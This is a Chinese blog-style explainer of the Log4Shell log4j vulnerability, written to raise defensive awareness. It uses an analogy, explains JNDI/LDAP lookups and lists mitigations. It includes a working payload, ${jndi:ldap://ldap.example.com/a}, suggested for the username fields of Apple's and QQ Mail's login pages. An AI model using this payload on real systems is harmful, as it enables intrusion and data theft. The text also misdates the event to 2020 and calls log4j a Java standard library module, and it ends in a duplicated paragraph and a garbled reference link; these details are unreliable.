Log4Shell 漏洞到底是個啥？
2020 年的12月，勢必成為各個互聯網公司年度最深刻的記憶。
在 12 月初，爆出了一個核彈級的系統漏洞，導致眾多互聯網公司內部服務器被發現，劫持，甚至植入程序。
盡管目前已經出臺了修復補丁，但這個出現在最基礎的應用最廣泛的模塊 log4j 上的漏洞還是讓我們心有余悸。
為什么這么就沒有被發現，為什么這個漏洞如此嚴重，這個漏洞到底是怎么回事?……
什么樣的漏洞
log4j[1] 是 Java 標準庫的模塊，主要負責記錄各種日志，和 Python 中的 logging[2] 類似。
log4j 功能強大，可以支持各種場景的日志記錄需求，比如將日志輸出到終端，將日志記錄到文件，或者發送到日志服務器等等，可以說但凡需要記錄日志的地方，log4j 是最佳選擇。
正是由于這一點，log4j 才成為最常用的模塊，加上互聯網公司的基礎設施都是由 java 構建的，所以 log4j 深入到每個公司的角角落落。
log4j 就像一個兢兢業業，任勞任怨的門衛老大爺，一絲不茍的記錄著各種來訪信息，以便系統排查問題。
為什么這樣一個普通的，不起眼的模塊會爆出一個驚天漏洞呢?
為了說明這個情況，我借鑒 少數派 PlatyHsu 的比喻[3]做講解，即使你不會編程，不懂技術也可以理解。
門衛
前面我們說 log4j 是一個日志模塊，就像一個門衛老大爺，凡是進入里面的人，都需要在門衛處登記一下。
注意這里的登記不是驗證，只是簡單的記錄一下，比如誰，什么時候，什么目的等等，將這些信息記錄到日志里。
我們經常看到的 Web 系統的訪問日志，就是這個模塊負責產生的。
本來一切正常，但是在一些對性能要求很高的系統中，為了不讓日志記錄占用太多的時間(畢竟，停下來被詢問也是需要時間的)，日志模塊里增加了一個事后處理的功能。
也就是說當訪問者很著急時，只要留下一個電話，讓門衛之后去詢問就好了。
這個設計有諸多好處，類似于異步處理，將記錄日志的過程分離出去，異步處理，這樣就不會影響主要流程的執行了。
但是，問題也是出在這里的。
詐騙電話
一些別有用心的人，就利用預留電話的機制，留下了詐騙電話。
當日志處理模塊，事后整理日志時，發現有一行寫了打電話詢問，于是就撥打了留下的電話，然后電話那頭說，恭喜你中獎了，獎品是一部手機，只要提供地址信息就可以免費郵寄過來，等等
這個日志模塊在完全不知情的情況下，就泄露了企業內部的信息，這些信息包括收件人，內部電話等等。
你可能會奇怪，為什么需要日志模塊撥打電話呢?到底是怎么撥打的電話，這里稍作展開一下。
日志模塊不是真的去撥打電話，而是日志記錄的機制中允許使用模板。
就像 Python 里的字符串模板一樣，在合成字符串時，可以用占位符代替實際內容，根據實際情況做出填充例如：
- strTemp = "Hello {name}"
- print(strTemp.format(name= 'Lily'))
- # 結果為：Hello Lily
log4j 為了靈活，使用一個叫 JNDI[4](Java Naming and Directory Interface)的目錄查詢方法，這個方法可以支持 LDAP[5](輕型目錄訪問協議，Lightweight Directory Access Protocol)協議，對網絡上的輕型目標進行查詢。
LDAP 的格式為:
ldap://ldap.example.com/cn=John%20Appleseed
意思是向 ldap.example.com 發送一個請求，查詢名為 John Appleseed 這個人的信息。
重點來了：
LDAP 協議是可以進行網絡訪問的
到這里我們就會發現，當處理日志的程序，執行到需要替換日志模板的語句時，恰巧有時需要通過 LDAP 協議獲取信息的情況下，就會去訪問這個地址。
如果別有用心者，將這個地址作為一個陷阱，或者作為一個木馬程序的下載地址，就可以在服務器毫不知情的情況下，在暴漏服務器內部信息，甚至下載木馬程序到服務器上。
之前的很多報道已經指出，黑客利用這個漏洞，在服務器上安裝了挖礦程序。
如何實施
對于普通大眾來說，系統漏洞離我們很遠，即使知道這樣的漏洞存在，也不知如何發揮作用，也是因為這個原因，導致很多人對漏洞信息不敏感，以為自己不知道如何使用，別人也就不知道，這樣的想法會讓自己常常處于危險之中。
log4Shell 漏洞，實施起來簡單地讓人難以置信，甚至不需要使用什么攻擊工具，只需要在平臺的登錄頁面，填寫一個特別的用戶名即可。
例如在蘋果網站上，將用戶名寫成類似這樣的 ${jndi:ldap://ldap.example.com/a} 形式：
蘋果
當然 ldap 網站需要自己設置或者使用一個可以提供記錄訪問者信息的服務，就能看到蘋果內部的服務器信息了。
這里還有對 QQ 郵箱的攻擊示例：
QQ郵箱
只要在能訪問系統的地方，加上特殊的注入語句，就可以實施攻擊了，所以對漏洞的攻擊，并沒有想象中那么復雜，因此在發現漏洞時，要及時打補丁做補救，而不能因為自己不知如何實施而放之不管。
如何消除
當我們了解了整個過程，對于如何防止就很清晰了，如果這個漏洞沒有被及時修復，也可以采取一些措施防止信息泄露。
最容易想到的是防止系統對不了解的外網進行訪問。
就像給內部電話限制撥打長途一樣，對于超出范圍的呼叫做出限制。
第二可以通過參數設置禁止系統的中的 JNDI 通信協議，就是讓日志模塊中的 JNDI 失效。
還有就是下載補丁，修補漏洞。
給我們的啟示
漏洞修補很容易，但是造成這個漏洞的根源卻難以消除。
我們總是在易用性和安全性之間找到一個平衡點，而增加易用性和功能性的同時，會引入更多的不確定性，特別是當依賴層級加大，大量的間接依賴會使問題的復雜程度超出我們的想象。
log4Shell 因為其巨大的破壞性，一經發現，就被及時處理了，但可能還存在這樣那樣的依賴導致的問題，繼續存在。
因此我們在做系統擴展功能的時候，要特別注意因為依賴而導致的系統問題，很多時候命名覺得無關緊要的邊緣的功能，卻成了漏洞躲藏的絕佳場所。
總結
沒有一個純凈的環境，完美的世界，log4Shell 漏洞讓我更清楚地看到這個世界的真實 —— 漏洞無處不在!
我們能做的就是要提供防護意識，像預防新冠病毒一樣做好防護，不迷信，不謠傳，也不大意和忽視。
可能我們平時寫的代碼效用有限，如果沒有防護和安全意識，就像裸奔一樣。
幾年前筆者在 github 上發布一段代碼示例時，誤將實際環境的配置信息上傳了上去，過來一周左右，意識到問題時，服務器已經被人注入了挖礦程序!
很難想象一個默默無聞的更新會被人注意且利用了，所以防護意識是我們暢游于網絡的護身符。
比心!
很難想象一個默默無聞的更新會被人注意且利用了，所以防護意識是我們暢游于網絡的護身符。
比心!
參考資料
[1]log4j: https://logging.apache.org/log4j/2.x/
[2]logging: https://docs.python.org/zh-cn/3/library/logging.html
[3]少數派 PlatyHsu 的比喻: https://sspai.com/post/70394
[4]JNDI: https://baike.baidu.com/item/JNDI/3792442
[5]LDAP:https://baike.baidu.com/item/%E8%BD%BB%E5%9E%8B%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AEDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFT56666666666666666666
